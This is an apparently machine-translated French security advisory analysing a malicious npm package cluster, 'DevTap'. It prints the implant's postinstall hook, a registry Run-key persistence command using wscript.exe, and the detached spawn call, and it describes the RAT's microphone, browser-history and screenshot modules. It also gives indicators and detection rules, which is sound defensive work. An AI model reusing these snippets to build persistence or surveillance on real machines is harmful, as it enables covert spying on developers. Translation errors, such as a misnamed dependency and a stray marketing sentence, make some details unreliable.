TL; DR
Entre le 1er avril et le 3 mai 2026, un seul éditeur npm, user0001, enregistré avec l'adresse Gmail non vérifiée tanvisoul9@gmail.com, ont discrètement fait passer six paquets aux noms délibérément fades, évoquant l'infrastructure : centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime et node-env-resolve.
Les deux dernières versions de node-env-resolve, 1.0.7 et 1.0.8, ont été signalés par le système d'alerte précoce aux logiciels malveillants (MEW) de Xygeni le 2 mai et confirmés comme malveillants le 3 mai.
L'implant est inhabituel par ce qu'il n'est pas : il n'y a pas de bots Telegram, pas de rappels OAST, pas de obfuscationet aucune tentative de récupération des identifiants AWS lors de l'installation. Au lieu de cela, postinstall.js installe une entrée de persistance de démarrage Windows, en utilisant une clé d'exécution HKCU qui lance wscript.exe contre un stub VBS. Ensuite, il lance un agent Node.js détaché qui regroupe des modules pour la capture du microphone, le vol de l'historique du navigateur, la capture d'écran et la simulation de la souris/du clavier.
Nous appelons ce cluster DevTap, après que le kit soit installé et fonctionne sur la machine du développeur.
Les six paquets étaient disponibles sur npm au moment de la rédaction. Nous les avons signalés au registre des abus. Les équipes de sécurité doivent retirer toutes les installations en attente de suppression auprès de l'éditeur.
Le Cluster : Six paquets, un éditeur
Le compte de l'éditeur user0001 n'est pas vérifié. Il n'a pas SCM vérification, pas d'adresse e-mail liée à un domaine et aucun historique antérieur. L'identifiant Gmail tanvisoul9 n'apparaît dans aucun autre enregistrement d'éditeur npm que nous ayons pu trouver.
Les six paquets indiquent le même responsable, ont été publiés depuis le même compte et partagent le même package.json texte standard. Il n'y a pas de texte standard. repository, non homepage, et non description plus long qu'une seule ligne.
La stratégie de nommage est l'aspect le plus intéressant. Contrairement aux campagnes classiques de confusion de dépendances ou de typosquatting, aucun de ces noms ne cible une bibliothèque amont spécifique. Au contraire, ils sont conçus pour se fondre dans un véritable package.json or npm ls sortie.
| Forfait | Première publication | Dernière version | versions | Rôle au sein du groupe |
|---|---|---|---|---|
| centralogue | 2026-04-01 12:46 UTC | 1.0.9 | 5, de 1.0.5 à 1.0.9 | Couverture de l'utilitaire de journalisation de Cluster ; première publication |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Couverture générique d'assistant DOM |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Imite la famille node-fetch |
| agent de connecteur | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Nom générique « agent » |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Imite les outils de construction de modules natifs |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, de 1.0.0 à 1.0.9 | compte-gouttes actif; implant complet |
Des noms comme centralogger, node-fetch-lite et node-gyp-runtime Elles sont conçues pour ne pas susciter de controverse lors des revues de code. Elles donnent l'impression d'être des éléments déjà présents dans l'arbre de dépendances d'un projet.
Associés à un éditeur récent et non vérifié et à des liens de dépôt manquants, ces éléments forment un schéma reconnaissable : un acteur insère des noms peu concurrentiels dans le registre, puis itère rapidement sur celui qui compte. Dans ce cas, node-env-resolve J'ai reçu dix versions en huit jours.
Qu'est-ce qui se retrouve sur une boîte de développement Windows ?
La chaîne malveillante sur node-env-resolve:1.0.8 Il est court, direct et exceptionnellement riche en fonctionnalités pour un RAT npm.
Post-installation : persistance et agent détaché
package.json déclare un seul hook d'installation :
{ "scripts": { "postinstall": "node postinstall.js" } }
postinstall.js fait trois choses dans l'ordre.
Tout d'abord, il crée un répertoire d'installation en dehors de l'arborescence npm. Le chemin est calculé à l'exécution dans le script comme suit : INSTALL_DIREnsuite, il exécute un processus interne. execSync('npm install --production --silent ...') Il faut l'intégrer pour récupérer les dépendances d'exécution de l'implant. Cela place l'agent sur le disque à un emplacement manuel. node_modules L'audit ne révélera rien.
Deuxièmement, il écrit un lanceur VBS et l'enregistre pour la persistance au démarrage :
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
/v ${AGENT_NAME} \
/t REG_SZ \
/d "wscript.exe \"${vbsPath}\"" /f
wscript.exe est l'hôte de script Windows, un binaire Microsoft signé qui exécute .vbs fichiers sans fenêtre de console. C'est précisC'est pourquoi il est privilégié pour les stubs à exécution automatique.
Il existe également un assortiment reg delete chemin à l'intérieur src/index.js, ce qui laisse supposer que l'implant est conçu pour être retiré facilement sur commande de l'opérateur.
Troisièmement, il engendre un processus enfant détaché :
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {
detached: true,
env: { ...process.env, SERVER_URL }
})
Deux détails sont importants ici.
SERVER_URL Les informations sont lues à partir de l'environnement. Par conséquent, le point de terminaison C2 est configurable pour chaque déploiement et n'est pas intégré au package. Ce choix, bien que mineur, est délibéré et permet de contrer la plupart des analyses statiques d'IOC.
De plus, l'enfant engendré hérite de l'environnement complet du parent. Par conséquent, tout NPM_TOKEN, AWS_*, GITHUB_TOKEN, ou le socket de l'agent SSH présent dans le shell du développeur au moment de l'installation voyage dans la mémoire de l'agent à longue durée de vie.
Ce que l'agent expédie avec
Le groupé src/ L'arbre comprend trois modules dont les noms à eux seuls sont révélateurs : audioCapture.js, browserHistory.js et systemInfo.js.
La liste des dépendances d'exécution, résolue lors de la phase d'étape npm install, les corrobore.
Cette approche transforme un incident chaotique en une réponse contrôlée.
Au lieu de réagir à l'aveuglette, les équipes fonctionnent avec Priorisation claire et correction rapide.
| Dépendance | À quoi cela sert-il dans ce contexte ? |
|---|---|
| capture d'écran - bureau | Capture d'écran périodique |
| @nut-tree-fork/nut-js | Simulation d'automatisation de la souris et du clavier / simulation d'entrée |
| mieux-sqlite3 | Lecture directe des bases de données SQLite de l'historique de Chrome, Edge et Firefox |
| adm-zip | Regroupement des artefacts collectés avant l'exfiltration |
| net | Redimensionnement/compression des captures d'écran et des artefacts d'image |
| client socket.io | Canal C2 bidirectionnel persistant |
| identifiant de machine de nœud | Empreinte digitale stable par hôte pour le suivi des victimes |
systemInfo.js en cours os.networkInterfaces() pour une prise d'empreintes digitales supplémentaire avant la première balise.
Pourquoi la capture audio est le signal le plus remarquable
La plupart des RAT npm que nous analysons dans MEW s'arrêtent au vol d'informations lors de l'installation. Ils lisent ~/.npmrc, Lire ~/.aws/credentials, gratter process.envUne requête POST est envoyée à un webhook, puis l'attaquant quitte le site. Ce procédé correspond à un modèle économique de type « attaque éclair ». Les identifiants ont une durée de vie limitée, et l'attaquant doit monétiser rapidement.
node-env-resolve sa forme est différente.
La persistance est configurée pour survivre au redémarrage. L'agent s'exécute de manière autonome et a une longue durée de vie. wscript.exe. Le kit qu'il embarque est conçu pour être installé sur la machine d'un développeur, et non pour être emporté et utilisé rapidement : un enregistreur de microphone, un pilote clavier/souris, l'ingestion complète de l'historique du navigateur, la capture d'écran et un canal Socket.IO interactif vers un C2 configurable.
La capture du microphone en particulier constitue une limite que cette campagne franchit et que la plupart des logiciels malveillants npm ne franchissent pas.
Le poste de travail d'un développeur est de plus en plus souvent celui où se tiennent les réunions quotidiennes, les appels clients, les discussions de conception et les astreintes. Un dispositif d'enregistrement du microphone ne vise pas réellement le jeton npm du développeur, mais plutôt ce qu'il dit devant son ordinateur portable.
Cet ensemble de capacités, ajouté à l'absence d'obfuscation et à l'absence de toute exfiltration spectaculaire lors de l'installation, donne l'impression d'un prépositionnement pour un accès ciblé plutôt que pour un vol d'identifiants opportuniste.
Nous ne fondons pas notre attribution sur ce seul élément. Nous prenons simplement note du profil opérationnel.
La cadence d'itération de huit jours sur node-env-resolve Il s'agit du détail le plus révélateur sur le plan opérationnel dans cette chronologie.
Il ne s'agit pas d'un déploiement automatique. L'éditeur assure la maintenance du programme d'installation, ce qui signifie généralement deux choses : soit il l'optimise sur des environnements de test avant un déploiement plus large, soit il dispose déjà de données de télémétrie d'installation et y répond.
Les cinq autres paquets n'ont pratiquement pas subi de modifications après leur publication initiale. Cela correspond à une approche de type « mise en place unique, nom laissé en place » pour le cluster de support, tandis que les efforts d'ingénierie se concentrent sur le paquet qui effectue le travail.
Attribution : Petits indices, pas de verdict définitif
Public mode OSINT Les signaux sont ténus, et nous ne les étirerons pas. Ce qui est observable :
Le compte Gmail tanvisoul9 Ressemble partiellement à un prénom sud-asiatique, « Tanvi ». C’est un indice faible. Les identifiants Gmail ne constituent pas une identité, et le reste… soul9 est générique. Il n'est pas sûr de déduire la géographie à partir de la seule partie locale d'un courriel.
Le style de code est banal pour Node.js : standard appels de bibliothèque tels que os, child_process, spawn et reg addIl n'y a ni obfuscation, ni rotation de chaînes de caractères, ni logique anti-débogage. L'auteur maîtrise les primitives du registre Windows et l'orchestration de processus enfants détachés, mais ne semble pas recourir à des techniques plus furtives qu'il pourrait plausiblement utiliser.
Les dépendances sont entièrement standard et bien connues : screenshot-desktop, nut-js, better-sqlite3 et socket.io-clientIl n'existe aucun protocole personnalisé, aucune pile C2 développée de toutes pièces, et aucune astuce de persistance inédite au-delà de ce qui est décrit dans les manuels. Clé d'exécution HKCUIl s'agit d'un intégrateur compétent, et non d'un concepteur d'outils.
Nous n'avons trouvé aucune chaîne de caractères non anglaise, aucun commentaire intégré, aucune donnée de localisation ni aucune empreinte de fuseau horaire de sortie du compilateur dans les artefacts publiés.
Nous avons vérifié s'il y avait un chevauchement de code avec les campagnes précédentes que nous suivons déjà, notamment Shai Hulud, Owlivion, Buildkite, et le récent heibai / claude-code-best Famille de clones d'Anthropic-CLI. Nous n'en avons trouvé aucun : ni modèles C2 partagés, ni structures de fichiers partagées, ni idiomes partagés.
Ce que nous ne dirions pas : qu’il s’agit d’un acteur étatique, d’un groupe connu ou d’une entité géographiquement liée à un pays spécifique.
Le profil opérationnel correspond à celui d'une petite équipe aux compétences moyennes, chargée de la surveillance des postes de travail des développeurs. La motivation financière réside probablement dans l'utilisation ultérieure de l'accès, mais il est possible qu'il s'agisse également d'un service de reconnaissance proposé à un autre client.
Deux arguments indirects appuient cette affirmation : l’évitement de mécanismes d’exfiltration accrocheurs qui pourraient rapidement compromettre le cluster, tels que les bots Telegram, oastify.com, ou jetons canari, et les noms de paquets délibérément neutres, qui privilégient les installations discrètes et à long terme plutôt qu'un pic bref et important.
Indicateurs de compromission et de détection
| Packages et éditeur | |
|---|---|
| Champ | Valeur |
| éditeur npm | user0001 |
| Courriel de l'éditeur | tanvisoul9@gmail.com, non vérifié |
| Forfaits | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Malveillance confirmée | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Artefacts de l'hôte | |
|---|---|
| Type | Valeur |
| Clé de persistance | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Valeur de persistance | Nom de la variable ; données de la forme wscript.exe " \\ .vbs" |
| Installer le crochet | postinstall : fichier node postinstall.js dans le manifeste du package |
| modules implantables | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Répertoire de préparation | Le répertoire INSTALL_DIR est résolu en dehors du répertoire node_modules du projet ; son emplacement est défini par postinstall.js lors de l'installation. |
| Réseau | |
|---|---|
| Type | Valeur |
| Transport C2 | client socket.io, canal bidirectionnel persistant |
| Point final C2 | Fournie à l'agent via la variable d'environnement SERVER_URL ; non codée en dur dans les artefacts publiés |
Notes de détection
Deux règles permettent de détecter cette famille sans avoir besoin du point de terminaison C2.
Tout d'abord, signalez les scripts post-installation qui effectuent une opération interne. npm install dans un chemin situé en dehors du répertoire du paquet. Tout programme de téléchargement de précompilations légitime, tel que node-gyp reconstruit ou télécharge des binaires précompilés, écrit à l'intérieur du paquet ou dans la plateforme-standard Les chemins de cache sont associés à des hachages vérifiés. L'écriture n'est pas effectuée dans un fichier nouvellement créé. INSTALL_DIR ailleurs sur le disque.
Deuxièmement, signalez les scripts post-installation qui posent problème. reg add HKCU\…\Run au wscript.exe en tant que lanceur. Cela n'est jamais légitime pour un paquet npm. Signalez-le et mettez-le en quarantaine.
Une troisième heuristique est utile pour repérer le prochain paquet frère avant sa confirmation : un nouvel éditeur npm sans SCM vérification, une adresse e-mail Gmail, non repository Le fait qu'un champ et plusieurs noms de paquets courts, génériques et à consonance infrastructurelle soient publiés à quelques jours d'intervalle suffit à justifier un examen manuel.
Signalé au registre npm. Nous mettrons à jour cet article dès que le compte de l'éditeur sera supprimé.





